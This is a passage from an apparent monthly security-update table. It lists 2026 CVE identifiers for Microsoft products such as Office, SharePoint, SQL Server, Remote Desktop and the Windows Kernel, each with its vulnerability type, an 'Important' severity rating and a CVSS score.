6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services 